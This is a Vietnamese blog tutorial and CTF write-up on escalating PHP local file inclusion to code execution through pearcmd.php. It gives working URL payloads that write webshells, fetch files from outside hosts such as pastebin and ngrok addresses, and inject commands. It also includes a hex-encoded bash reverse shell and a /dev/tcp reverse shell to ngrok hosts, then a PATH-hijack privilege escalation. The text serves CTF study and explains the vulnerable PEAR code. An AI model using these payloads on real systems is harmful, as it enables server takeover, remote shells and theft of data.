+2

Khai thác lỗ hổng LFI2RCE thông qua PHP PEARCMD

PECL (PHP Extension Community Library) là thư viện mở rộng cho ngôn ngữ PHP, cung cấp các extensions, cho phép mở rộng khả năng của PHP bằng các tính năng mới và tích hợp các thư viện.

Điều kiện khai thác

  • Thông qua lỗ hổng LFI
  • Trong mọi phiên bản Docker image, pecl/pear sẽ mặc định được cài đặt và path là /usr/local/lib/php (nằm trong setting include_path).
  • register_argc_argv được set là on.

register_argc_argv

Giá trị mặc định này là off. Nếu nó được set là on thì có thể kiểm soát được $_SERVER['argc']$_SERVER['argv'] trong code PHP. Ví dụ:

<?php
var_dump($_SERVER['argv']);  
var_dump($_SERVER['argc']);    // số param
?>

image

image

Việc phân tách các tham số dựa trên dấu + thay vì &

register_argc_argv và pear

$_SERVER['argv'] sẽ trả về tham số cho pear để nó xử lý và thực thi

Ví dụ tạo file config thông qua config-create bằng pearcmd.php (cái này khá phổ biến sử dụng để khai thác), sau khi cài thư viện này ta có thể dùng command line (tại thư mục chứa pearcmd.php):

php pearcmd.php config-create "/<?php phpinfo();?>" /tmp/shell.php

Kết quả:

image

image

Như đã nói ở trên register_argc_argvon cho phép phân tách các tham số bằng dấu +. Như vậy command line trên trong request HTTP sẽ như sau (tất nhiên là với điều kiện LFI được):

image

Kết quả:

image

Cách thức hoạt động

Refs: https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp

php pearcmd.php config-create "/<?php phpinfo();?>" /tmp/shell.php là một command line nhưng tại sao nó có thể thực hiện qua HTTP request? Đó nhờ qua giao thức CGI.

CGI (Common Gateway Interface) là một giao thức chuẩn cho việc tương tác giữa webserver và các ứng dụng trên server, như các ứng dụng CGI hoặc các file chạy command line. CGI được sử dụng để truyền dữ liệu giữa web servervà các ứng dụng hoặc file script và thực hiện các tác vụ dynamic (có param), ví dụ như xử lý form web hoặc tạo nội dung dynamic trên trang web.

RFC3875 quy định rằng nếu query string không chứa ký tự = chưa được encoded và method là GET hoặc HEAD thì query string được sử dụng làm tham số cho command line (mặc dù quy định vậy nhưng khi query string có chứa dấu =, nó vẫn sẽ được gán cho $_SERVER['argv'].). Tiếp theo là việc pear xử lý tham số:

public static function readPHPArgv()
{
    global $argv;
    if (!is_array($argv)) {
        if (!@is_array($_SERVER['argv'])) {
            if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                $msg = "Could not read cmd args (register_argc_argv=Off?)";
                return PEAR::raiseError("Console_Getopt: " . $msg);
            }
            return $GLOBALS['HTTP_SERVER_VARS']['argv'];
        }
        return $_SERVER['argv'];
    }
    return $argv;
}

Param được lấy ra từ global $argv, nếu không có thì từ $_SERVER['argv'], nếu không có nữa thì $GLOBALS['HTTP_SERVER_VARS']['argv']. Nói cách khác, điều đó giúp truy cập được các chức năng của pear qua command line dựa vào web để có thể kiểm soát các param của command line đó. Một số thông số command line của pear:

image

Nhìn vào dễ dàng thấy có config-create và để thực hiện nó thì cần 2 param, theo đoạn code xử lý (PEAR/Command/Config.php):

 function doConfigCreate($command, $options, $params)
{
    if (count($params) != 2) {
        return PEAR::raiseError('config-create: must have 2 parameters, root path and ' .
            'filename to save as');
    }

    $root = $params[0];
    // Clean up the DIRECTORY_SEPARATOR mess
    $ds2 = DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR;
    $root = preg_replace(array('!\\\\+!', '!/+!', "!$ds2+!"),
                            array('/', '/', '/'),
                        $root);
    if ($root[0] != '/') {
        if (!isset($options['windows'])) {
            return PEAR::raiseError('Root directory must be an absolute path beginning ' .
                'with "/", was: "' . $root . '"');
        }

        if (!preg_match('/^[A-Za-z]:/', $root)) {
            return PEAR::raiseError('Root directory must be an absolute path beginning ' .
                'with "\\" or "C:\\", was: "' . $root . '"');
        }
    }

    $windows = isset($options['windows']);
    if ($windows) {
        $root = str_replace('/', '\\', $root);
    }

    if (!file_exists($params[1]) && !@touch($params[1])) {
        return PEAR::raiseError('Could not create "' . $params[1] . '"');
    }

    $params[1] = realpath($params[1]);
    $config = new PEAR_Config($params[1], '#no#system#config#', false, false);
    if ($root[strlen($root) - 1] == '/') {
        $root = substr($root, 0, strlen($root) - 1);
    }

    $config->noRegistry();
    $config->set('php_dir', $windows ? "$root\\pear\\php" : "$root/pear/php", 'user');
    $config->set('data_dir', $windows ? "$root\\pear\\data" : "$root/pear/data");
    $config->set('www_dir', $windows ? "$root\\pear\\www" : "$root/pear/www");
    $config->set('cfg_dir', $windows ? "$root\\pear\\cfg" : "$root/pear/cfg");
    $config->set('ext_dir', $windows ? "$root\\pear\\ext" : "$root/pear/ext");
    $config->set('doc_dir', $windows ? "$root\\pear\\docs" : "$root/pear/docs");
    $config->set('test_dir', $windows ? "$root\\pear\\tests" : "$root/pear/tests");
    $config->set('cache_dir', $windows ? "$root\\pear\\cache" : "$root/pear/cache");
    $config->set('download_dir', $windows ? "$root\\pear\\download" : "$root/pear/download");
    $config->set('temp_dir', $windows ? "$root\\pear\\temp" : "$root/pear/temp");
    $config->set('bin_dir', $windows ? "$root\\pear" : "$root/pear");
    $config->set('man_dir', $windows ? "$root\\pear\\man" : "$root/pear/man");
    $config->writeConfigFile();
    $this->_showConfig($config);
    $this->ui->outputData('Successfully created default configuration file "' . $params[1] . '"',
        $command);
}

Cụ thể hơn, đoạn code trên đã thực hiện:

  1. Kiểm tra param (nhận vào 2 param root path và filename để lưu).
  2. Chuẩn hóa root path (liên quan về xử lý \/)
  3. Kiểm tra xem filename (param thứ 2) xem tồn tại chưa, sau đó tạo file config.
  4. Thiết lập các giá trị thư mục trong file config.
  5. Ghi cấu hình ($config->writeConfigFile();)
  6. Hiển thị kết quả.

Một vài payloads khác

Ref: https://github.com/w181496/Web-CTF-Cheatsheet#pear

1. Ghi file

  • /?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php (đây là payload phổ biến nhất) Không chỉ có config-createman_dir,download, channel-discover cũng có thể ghi file.
  • /?+-c+/tmp/shell.php+-d+man_dir=<?phpinfo();?>/*+-s+list&file=/usr/local/lib/php/pearcmd.php
  • /?+download+https://kaibro.tw/shell.php+&file=/usr/local/lib/php/pearcmd.php (cái này sẽ không chỉ định thư mục tải về và nó sẽ lưu với tên shell.php tại thư mục hiện tại và điều này sẽ bị hạn chế về quyền)
  • /?+channel-discover+kaibro.tw/302.php?&file=/usr/local/lib/php/pearcmd.php (tương tự trên nhưng sẽ bị hạn chế việc connection)

2. Install package

Payloads: /?+install+--force+--installroot+/tmp/wtf+https://pastebin.com/raw/Z4cejG3f+?&file=/usr/local/lib/php/pearcmd.php

Cách này sẽ down về folder và path hơi loằng ngoằng: image

3. Command Injection

  • /?+install+-R+&file=/usr/local/lib/php/pearcmd.php&+-R+/tmp/other+channel://pear.php.net/Archive_Tar-1.4.14
  • /?+bundle+-d+/tmp/;echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMF0pOyA/Pg==%7Cbase64${IFS}-d>/tmp/hello-0daysober.php;/+/tmp/other/tmp/pear/download/Archive_Tar-1.4.14.tgz+&file=/usr/local/lib/php/pearcmd.php&
  • /?+svntag+/tmp/;echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMF0pOyA/Pg==%7Cbase64${IFS}-d>/tmp/hello-0daysober.php;/Archive_Tar+&file=/usr/local/lib/php/pearcmd.php&

(3 cái trên không biết đã fix ở bản nào chưa vì test không được 😥)

4. Command injection 2

run-tests

image

Như cái tên thì nó có chức năng chạy thử 1 package của pear. flag -i như ở trên áp dụng setting của file php.ini. Tuy nhiên giá trị được nối chuỗi trực tiếp vào command dẫn đến lỗ hổng command injection: PEAR/RunTest.php (nó là biến $ini_settings):

function run($file, $ini_settings = array(), $test_number = 1)
{
    
    ...

    $args = $section_text['ARGS'] ? ' -- '.$section_text['ARGS'] : '';
    $cmd = $this->_preparePhpBin($this->_php, $temp_file, $ini_settings);
    $cmd.= "$args 2>&1";
}

function _preparePhpBin($php, $file, $ini_settings)
{
    $file = escapeshellarg($file);
    $cmd = $php . $ini_settings . ' -f ' . $file;

    return $cmd;
}

Quay trở lại -i giá trị của nó ta sẽ dùng -r "codephp" (php cli). Một thứ nữa là cần file để run test: .phpt và nó có trong /usr/local/lib/php/test/Console_Getopt/tests/ Việc search file find / -name "*.phpt" để tìm Payload sẽ hạn chế việc dùng space (tránh escape lung tung):

  • command line: php peclcmd.php run-tests -i "-r\"system(hex2bin('736C6565702035'));\"" /usr/local/lib/php/test/Console_Getopt/tests/bug11068.phpt
  • payload: /?page=../usr/local/lib/php/peclcmd.php&+run-tests+-i+-r"system(hex2bin('PAYLOAD'));"+/usr/local/lib/php/test/Console_Getopt/tests/bug11068.phpt

Vài bài CTF

Trong thời điểm diễn ra các bài CTF như ở dưới, tất nhiên là sẽ chưa xuất hiện các payloads như ở trên nên khá khó khai thác. Nói chung thì các payloads ở trên đã tổng hợp được từ các bài CTF cho tới nay.

2linephp - Balsn CTF 2021

Phân tích source:

<?php ($_=@implode($_GET)) && (stripos($_,"zip") !== FALSE || stripos($_,"p:") || stripos($_,"s:")) && die("Bad hacker!");
($_=@$_GET['kaibro'].'.php') && @substr(file($_)[0],0,5) === '<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.php');

Dòng đầu tiên:

  • implode($_GET) dùng để chuyển mảng $_GET thành chuỗi lưu vào biến $_
  • stripos được sử dụng để chặn các từ khóa zip, p:, s: của các biến $_GET.

Dòng thứ 2:

  • Tạo ra 1 tên file từ param kaibro nối với extension php lưu vào $_. Ở đây, param không được xử lý dẫn đến việc xảy ra lỗ hổng LFI.
  • substr(file($_)[0],0,5) lấy ra 5 ký tự đầu tiên của dòng thứ nhất của file đó, nếu là <?php thì thực hiện include() file đó không thì là phpinfo.php.

=> Như vậy đây là bài toán LFI nhưng chỉ include được file php. Đồng thời bài cho thông tin qua phpinfo(), ta có thể tìm kiếm vài thông tin để khai thác:

image

pearcmd.php sẽ nằm trong path:

image

Tuy nhiên mấu chốt của bài này là việc include file shell phải chứa <?php ở đầu, nếu sử dụng payload thông thường như config-create sẽ bị hạn chế. Ta bypass bằng cách: /?+install+--force+--installroot+/tmp/abc+https://223e-27-72-137-31.ngrok-free.app/sh.php+?&kaibro=/usr/local/lib/php/pearcmd hoặc là:

Khi đó file sh.php sẽ ở /tmp/abc/tmp/pear/download/sh.php

image

Hoặc: /?+channel-discover+223e-27-72-137-31.ngrok-free.app/sh.php?&kaibro=/usr/local/lib/php/pearcmd và file sh.php nằm ở /tmp/pear/temp:

image

readonly - SEETF-2023

Bài này là dạng command injection như ở trên

Lỗ hổng LFI:

image

payload: /?page=../../../../../usr/local/lib/php/peclcmd.php&+run-tests+-i+-r"system(hex2bin('62617368202d63202262617368202d69203e26202f6465762f7463702f746370302e7463702e61702e6e67726f6b2e696f2f313432333220303e263122'));"+/usr/local/lib/php/test/Console_Getopt/tests/bug11068.phpt

(62617368202... là reverse shel)

image

filestore - ångstromCTF 2023

Source:

<?php
    if($_SERVER['REQUEST_METHOD'] == "POST"){
        if ($_FILES["f"]["size"] > 1000) {
            echo "file too large";
            return;
        }
    
        $i = uniqid();

        if (empty($_FILES["f"])){
            return;
        }

        if (move_uploaded_file($_FILES["f"]["tmp_name"], "./uploads/" . $i . "_" . hash('sha256', $_FILES["f"]["name"]) . "_" . $_FILES["f"]["name"])){
            echo "upload success";
        } else {
            echo "upload error";
        }
    } else {
        if (isset($_GET["f"])) {
            include "./uploads/" . $_GET["f"];
        }

        highlight_file("index.php");

        // this doesn't work, so I'm commenting it out 😛
        // system("/list_uploads");
    }
?>

Bài có chức năng upload file, tuy nhiên file upload có tên random => không thể kiểm soát được. Thêm nữa include "./uploads/" . $_GET["f"]; - lỗ hổng LFI. Ngoài ra bài cho 2 file binary, khi bỏ vào IDA ta biết được:

  • list_uploads

    image

    File này có chức năng thực thi ls để list ra hết trong /var/www/html/uploads Theo Dockerfile:

    RUN chown admin:admin /list_uploads &&\
        chmod 111 /list_uploads &&\
        chmod g+s /list_uploads
    
  • make_abyss_entry

    image Theo Dockerfile:

    COPY make_abyss_entry /make_abyss_entry
    RUN chown root:root /make_abyss_entry &&\
        chmod 111 /make_abyss_entry &&\
        chmod g+s /make_abyss_entry
    ...
    RUN mkdir /abyss &&\
        chown -R root:root /abyss &&\
        chmod -R 331 /abyss
    

Thường thì ở các bài LFI, mình thường nghĩ đến pearcmd.php sau cùng, mà thôi vì làm lại nên tập trung vào nó luôn: Payload: /?+config-create+/&f=../../../../../usr/local/lib/php/pearcmd.php&/<?=system($_GET[0])?>+/tmp/shell.php RCE:

image

Để dễ dàng khai thác tiếp ta dùng reverse shell: /?f=../../../../tmp/shell.php&0=bash+-c+'sh+-i+>%26+/dev/tcp/tcp0.tcp.ap.ngrok.io/16600+0>%261'

image

Leo thang đặc quyền: Quay trở lại 2 file binary lúc đầu.

image

Ý tưởng bài này là sử dụng PATH (bởi vì nếu thử các cách kia thì không được 😐). Nhớ lại file list_uploads sẽ thực thi command: ls /var/www/html/uploads Ta sẽ ghi đè ls, ví dụ như cat /flag.txt;ls Để ý /make_abyss_entry tạo ra thư mục có tên random trong /abyss nhằm mục đích tạo file ls ở trong đó (thật ra cũng có nhiều người tạo trong /tmp). Trong Dockerfile:

RUN rm -f /bin/chmod /usr/bin/chmod /bin/chown /usr/bin/chown

Như vậy không thể cấp quyền cho ls, ta bypass bằng cách dùng perl:

perl -e "chmod 0755,'file'"

Khai thác:

image

Solution này mình đọc từ bài viết của anh @devme4f, cũng có vài cách khác thì cũng khá tương tự nhưng cách này dễ hiểu và đơn giản hơn.


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí